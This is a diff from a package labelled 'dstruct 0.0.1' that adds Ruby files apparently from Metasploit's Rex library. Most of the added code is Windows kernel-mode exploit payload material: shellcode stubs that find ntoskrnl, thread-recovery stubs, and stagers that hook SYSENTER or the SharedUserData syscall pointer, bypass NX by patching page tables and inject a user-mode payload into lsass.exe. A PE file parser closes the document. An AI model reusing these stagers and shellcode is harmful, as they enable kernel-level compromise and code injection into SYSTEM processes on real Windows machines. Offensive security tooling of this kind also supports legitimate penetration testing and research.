dstruct 0.0.1

data/lib/rex/payloads/win32/kernel/common.rb

@@ -0,0 +1,55 @@
+# -*- coding: binary -*-
+module Rex
+module Payloads
+module Win32
+module Kernel
+
+require 'rex/payloads/win32/common'
+
+#
+# This class provides common methods that may be shared across more than
+# one kernel-mode payload.  Many of these are from the following paper:
+#
+# http://www.uninformed.org/?v=3&a=4&t=sumry
+#
+module Common
+
+  #
+  # Returns a stub that will find the base address of ntoskrnl and
+  # place it in eax.  This method works by using an IDT entry.  Credit
+  # to eEye.
+  #
+  def self.find_nt_idt_eeye
+    "\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7"
+  end
+
+  #
+  # Returns a stub that will find the base address of ntoskrnl and
+  # place it in eax.  This method uses a pointer found in KdVersionBlock.
+  #
+  def self.find_nt_kdversionblock
+    "\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10"
+  end
+
+  #
+  # Returns a stub that will find the base address of ntoskrnl and
+  # place it in eax.  This method uses a pointer found in the
+  # processor control region as a starting point.
+  #
+  def self.find_nt_pcr
+    "\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4"
+  end
+
+  #
+  # Alias for resolving symbols.
+  #
+  def self.resolve_call_sym
+    Rex::Payloads::Win32::Common.resolve_call_sym
+  end
+
+end
+
+end
+end
+end
+end

data/lib/rex/payloads/win32/kernel/migration.rb

@@ -0,0 +1,13 @@
+# -*- coding: binary -*-
+module Rex
+module Payloads
+module Win32
+module Kernel
+
+module Migration
+end
+
+end
+end
+end
+end

data/lib/rex/payloads/win32/kernel/recovery.rb

@@ -0,0 +1,51 @@
+# -*- coding: binary -*-
+module Rex
+module Payloads
+module Win32
+module Kernel
+
+#
+# Recovery stubs are responsible for ensuring that the kernel does not crash.
+# They must 'recover' after the exploit has succeeded, either by consuming
+# the thread or continuing it on with its normal execution.  Recovery stubs
+# will often be exploit dependent.
+#
+module Recovery
+
+  #
+  # The default recovery method is to spin the thread
+  #
+  def self.default(opts = {})
+    spin(opts)
+  end
+
+  #
+  # Infinite 'hlt' loop.
+  #
+  def self.spin(opts = {})
+    "\xf4\xeb\xfd"
+  end
+
+  #
+  # Restarts the idle thread by jumping back to the entry point of
+  # KiIdleLoop.  This requires a hard-coded address of KiIdleLoop.
+  # You can pass the 'KiIdleLoopAddress' in the options hash.
+  #
+  def self.idlethread_restart(opts = {})
+    # Default to fully patched XPSP2
+    opts['KiIdleLoopAddress'] = 0x804dbb27 if opts['KiIdleLoopAddress'].nil?
+
+    "\x31\xC0" +                                     # xor eax,eax
+    "\x64\xC6\x40\x24\x02" +                         # mov byte [fs:eax+0x24],0x2
+    "\x8B\x1D\x1C\xF0\xDF\xFF" +                     # mov ebx,[0xffdff01c]
+    "\xB8" + [opts['KiIdleLoopAddress']].pack('V') + # mov eax, 0x804dbb27
+    "\x6A\x00" +                                     # push byte +0x0
+    "\xFF\xE0"                                       # jmp eax
+  end
+
+end
+
+end
+end
+end
+end

data/lib/rex/payloads/win32/kernel/stager.rb

@@ -0,0 +1,195 @@
+# -*- coding: binary -*-
+module Rex
+module Payloads
+module Win32
+module Kernel
+
+#
+# Stagers are responsible for reading in another payload and executing it.
+# The reading in of the payload may actually be as simple as copying it to
+# another location.  The executing of it may be done either directly or
+# indirectly.
+#
+module Stager
+
+  #
+  # Works on Vista, Server 2008 and 7.
+  #
+  # Full assembly source at:
+  # /msf3/external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
+  #
+  # This payload works as follows:
+  # * Our sysenter handler and ring3 stagers are copied over to safe location.
+  # * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
+  # * The ring0 thread we are in is placed in a halted state.
+  # * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
+  # * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
+  # * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
+  # * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
+  # * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
+  #
+  def self.stager_sysenter_hook( opts = {} )
+
+    # The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
+    pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
+
+    # The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
+    kstager   = opts['StagerAddressKernel'] || 0xFFDF0400
+
+    # The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
+    ustager   = opts['StagerAddressUser'] || 0x7FFE0400
+
+    # Target SYSTEM process to inject ring3 payload into.
+    process   = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
+
+    # A simple hash of the process name based on the first 4 wide chars.
+    # Assumes process is located at '*:\windows\system32\'.
+    checksum  = process[0] + ( process[2] << 8 )  + ( process[1] << 16 ) + ( process[3] << 24 )
+
+    # The ring0 -> ring3 payload blob.
+    r0 =	"\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
+        "\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
+        "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
+        "\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
+        "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
+        "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
+        "\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
+        "\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
+        "\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
+        "\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
+        "\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
+        "\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
+        "\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
+
+    # The ring3 payload.
+    r3  = ''
+    r3 += _createthread() if opts['CreateThread'] == true
+    r3 += opts['UserModeStub'] || ''
+
+    # Patch in the required values.
+    r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") )
+    r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
+    r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
+    r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
+    r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
+
+    # Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
+    return r0 + r3
+  end
+
+  #
+  # XP SP2/2K3 SP1 ONLY
+  #
+  # Returns a kernel-mode stager that transitions from r0 to r3 by placing
+  # code in an unused portion of SharedUserData and then pointing the
+  # SystemCall attribute to that unused portion.  This has the effect of
+  # causing the custom code to be called every time a user-mode process
+  # tries to make a system call.  The returned payload also checks to make
+  # sure that it's running in the context of lsass before actually running
+  # the embedded payload.
+  #
+  def self.sud_syscall_hook(opts = {})
+    r0_recovery = opts['RecoveryStub'] || Recovery.default
+    r3_payload  = opts['UserModeStub'] || ''
+    r3_prefix   = _run_only_in_win32proc_stub("\xff\x25\x08\x03\xfe\x7f", opts)
+    r3_size     = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4
+
+    r0_stager =
+      "\xEB" + [0x22 + r0_recovery.length].pack('C') + # jmp short 0x27
+      "\xBB\x01\x03\xDF\xFF"                         + # mov ebx,0xffdf0301
+      "\x4B"                                         + # dec ebx
+      "\xFC"                                         + # cld
+      "\x8D\x7B\x7C"                                 + # lea edi,[ebx+0x7c]
+      "\x5E"                                         + # pop esi
+      "\x6A" + [r3_size].pack('C')                   + # push byte num_dwords
+      "\x59"                                         + # pop ecx
+      "\xF3\xA5"                                     + # rep movsd
+      "\xBF\x7C\x03\xFE\x7F"                         + # mov edi,0x7ffe037c
+      "\x39\x3B"                                     + # cmp [ebx],edi
+      "\x74\x09"                                     + # jz
+      "\x8B\x03"                                     + # mov eax,[ebx]
+      "\x8D\x4B\x08"                                 + # lea ecx,[ebx+0x8]
+      "\x89\x01"                                     + # mov [ecx],eax
+      "\x89\x3B"                                     + # mov [ebx],edi
+      r0_recovery +
+      "\xe8" + [0xffffffd9 - r0_recovery.length].pack('V') + # call 0x2
+      r3_prefix +
+      r3_payload
+
+    return r0_stager
+  end
+
+protected
+
+  #
+  # Stub to run a prepended ring3 payload in a new thread.
+  #
+  # Full assembly source at:
+  # /msf3/external/source/shellcode/windows/x86/src/single/createthread.asm
+  #
+  def self._createthread
+    r3 =    "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+        "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
+        "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
+        "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
+        "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
+        "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
+        "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
+        "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
+        "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
+        "\x31\xC0\x50\x50\x50\x8D\x9D\xA0\x00\x00\x00\x53\x50\x50\x68\x38" +
+        "\x68\x0D\x16\xFF\xD5\xC3\x58"
+    return r3
+  end
+
+  #
+  # This stub is used by stagers to check to see if the code is
+  # running in the context of a user-mode system process.  By default,
+  # this process is lsass.exe.  If it isn't, it runs the code
+  # specified by append.  Otherwise, it jumps past that code and
+  # into what should be the expected r3 payload to execute.  This
+  # stub also makes sure that the payload does not run more than
+  # once.
+  #
+  def self._run_only_in_win32proc_stub(append = '', opts = {})
+    opts['RunInWin32Process'] = "lsass.exe" if opts['RunInWin32Process'].nil?
+
+    process  = opts['RunInWin32Process'].downcase
+    checksum =
+      process[0]         +
+      (process[2] << 8)  +
+      (process[1] << 16) +
+      (process[3] << 24)
+
+    "\x60"                                 + # pusha
+    "\x6A\x30"                             + # push byte +0x30
+    "\x58"                                 + # pop eax
+    "\x99"                                 + # cdq
+    "\x64\x8B\x18"                         + # mov ebx,[fs:eax]
+    "\x39\x53\x0C"                         + # cmp [ebx+0xc],edx
+    "\x74\x26"                             + # jz 0x5f
+    "\x8B\x5B\x10"                         + # mov ebx,[ebx+0x10]
+    "\x8B\x5B\x3C"                         + # mov ebx,[ebx+0x3c]
+    "\x83\xC3\x28"                         + # add ebx,byte +0x28
+    "\x8B\x0B"                             + # mov ecx,[ebx]
+    "\x03\x4B\x03"                         + # add ecx,[ebx+0x3]
+    "\x81\xF9" + [checksum].pack('V')      + # cmp ecx,prochash
+    "\x75\x10"                             + # jnz 0x5f
+    "\x64\x8B\x18"                         + # mov ebx,[fs:eax]
+    "\x43"                                 + # inc ebx
+    "\x43"                                 + # inc ebx
+    "\x43"                                 + # inc ebx
+    "\x80\x3B\x01"                         + # cmp byte [ebx],0x1
+    "\x74\x05"                             + # jz 0x5f
+    "\xC6\x03\x01"                         + # mov byte [ebx],0x1
+    "\xEB" + [append.length + 1].pack('C') + # jmp stager
+    "\x61" + append						        # restore regs
+  end
+
+
+end
+
+end
+end
+end
+end

data/lib/rex/peparsey.rb

@@ -0,0 +1,10 @@
+# -*- coding: binary -*-
+
+module Rex
+module PeParsey
+
+end
+end
+
+require 'rex/peparsey/pe'
+require 'rex/peparsey/pe_memdump'

data/lib/rex/peparsey/exceptions.rb

@@ -0,0 +1,30 @@
+# -*- coding: binary -*-
+
+module Rex
+module PeParsey
+
+class PeError < ::RuntimeError
+end
+
+class ParseError < PeError
+end
+
+class DosHeaderError < ParseError
+end
+
+class FileHeaderError < ParseError
+end
+
+class OptionalHeaderError < ParseError
+end
+
+class BoundsError < PeError
+end
+
+class WtfError < PeError
+end
+
+class SkipError < PeError
+end
+
+end end

data/lib/rex/peparsey/pe.rb

@@ -0,0 +1,210 @@
+# -*- coding: binary -*-
+
+require 'rex/image_source'
+require 'rex/peparsey/exceptions'
+require 'rex/peparsey/pebase'
+require 'rex/peparsey/section'
+require 'rex/struct2'
+
+module Rex
+module PeParsey
+class Pe < PeBase
+
+  def initialize(isource)
+
+    #
+    # DOS Header
+    #
+    # Parse the initial dos header, starting at the file beginning
+    #
+    offset = 0
+    dos_header = self.class._parse_dos_header(isource.read(offset, IMAGE_DOS_HEADER_SIZE))
+
+    #
+    # File Header
+    #
+    # If there is going to be a PE, the dos header tells us where to find it
+    # So now we try to parse the file (pe) header
+    #
+    offset += dos_header.e_lfanew
+
+    # most likely an invalid e_lfanew...
+    if offset > isource.size
+      raise FileHeaderError, "e_lfanew looks invalid", caller
+    end
+
+    file_header = self.class._parse_file_header(isource.read(offset, IMAGE_FILE_HEADER_SIZE))
+
+    #
+    # Optional Header
+    #
+    # After the file header, we find the optional header.  Right now
+    # we require a optional header.  Despite it's name, all binaries
+    # that we are interested in should have one.  We need this
+    # header for a lot of stuff, so we die without it...
+    #
+    offset += IMAGE_FILE_HEADER_SIZE
+    optional_header = self.class._parse_optional_header(
+      isource.read(offset, file_header.SizeOfOptionalHeader)
+    )
+
+    if !optional_header
+      raise OptionalHeaderError, "No optional header!", caller
+    end
+
+    base = optional_header.ImageBase
+
+    #
+    # Section Headers
+    #
+    # After the optional header should be the section headers.
+    # We know how many there should be from the file header...
+    #
+    offset += file_header.SizeOfOptionalHeader
+
+    num_sections = file_header.NumberOfSections
+    section_headers = self.class._parse_section_headers(
+      isource.read(offset, IMAGE_SIZEOF_SECTION_HEADER * num_sections)
+    )
+
+    #
+    # End of Headers
+    #
+    # After the section headers (which are padded to FileAlignment)
+    # we should find the section data, described by the section
+    # headers...
+    #
+    # So this is the end of our header data, lets store this
+    # in an image source for possible access later...
+    #
+    offset += IMAGE_SIZEOF_SECTION_HEADER * num_sections
+    offset = self.class._align_offset(offset, optional_header.FileAlignment)
+
+    header_section = Section.new(isource.subsource(0, offset), 0, nil)
+
+    #
+    # Sections
+    #
+    # So from here on out should be section data, and then any
+    # trailing data (like authenticode and stuff I think)
+    #
+
+    sections = [ ]
+
+    section_headers.each do |section_header|
+
+      rva         = section_header.VirtualAddress
+      size        = section_header.SizeOfRawData
+      file_offset = section_header.PointerToRawData
+
+      sections << Section.new(
+        isource.subsource(file_offset, size),
+        rva,
+        section_header
+      )
+    end
+
+
+
+    #
+    # Save the stuffs!
+    #
+    # We have parsed enough to load the file up here, now we just
+    # save off all of the structures and data... We will
+    # save our fake header section, the real sections, etc.
+    #
+
+    #
+    # These should not be accessed directly
+    #
+
+    self._isource          = isource
+
+    self._dos_header       = dos_header
+    self._file_header      = file_header
+    self._optional_header  = optional_header
+    self._section_headers  = section_headers
+
+    self.image_base        = base
+    self.sections          = sections
+    self.header_section    = header_section
+
+    self._config_header    = _parse_config_header()
+    self._tls_header       = _parse_tls_header()
+
+    # These can be accessed directly
+    self.hdr               = HeaderAccessor.new
+    self.hdr.dos           = self._dos_header
+    self.hdr.file          = self._file_header
+    self.hdr.opt           = self._optional_header
+    self.hdr.sections      = self._section_headers
+    self.hdr.config        = self._config_header
+    self.hdr.tls           = self._tls_header
+    self.hdr.exceptions    = self._exception_header
+
+    # We load the exception directory last as it relies on hdr.file to be created above.
+    self._exception_header = _load_exception_directory()
+  end
+
+  #
+  # Return everything that's going to be mapped in the process
+  # and accessable.  This should include all of the sections
+  # and our "fake" section for the header data...
+  #
+  def all_sections
+    [ header_section ] + sections
+  end
+
+  #
+  # Returns true if this binary is for a 64-bit architecture.
+  #
+  def ptr_64?
+    [
+      IMAGE_FILE_MACHINE_IA64,
+      IMAGE_FILE_MACHINE_ALPHA64,
+      IMAGE_FILE_MACHINE_AMD64
+    ].include?(self._file_header.Machine)
+  end
+
+  #
+  # Returns true if this binary is for a 32-bit architecture.
+  # This check does not take into account 16-bit binaries at the moment.
+  #
+  def ptr_32?
+    ptr_64? == false
+  end
+
+  #
+  # Converts a virtual address to a string representation based on the
+  # underlying architecture.
+  #
+  def ptr_s(va)
+    (ptr_32?) ? ("0x%.8x" % va) : ("0x%.16x" % va)
+  end
+
+  #
+  # Converts a file offset into a virtual address
+  #
+  def file_offset_to_va(offset)
+    image_base + file_offset_to_rva(offset)
+  end
+
+  #
+  # Read raw bytes from the specified offset in the underlying file
+  #
+  # NOTE: You should pass raw file offsets into this, not offsets from
+  # the beginning of the section. If you need to read from within a
+  # section, add section.file_offset prior to passing the offset in.
+  #
+  def read(offset, len)
+    _isource.read(offset, len)
+  end
+
+  def size
+    _isource.size
+  end
+  def length
+    _isource.size
+  end
+
+end end end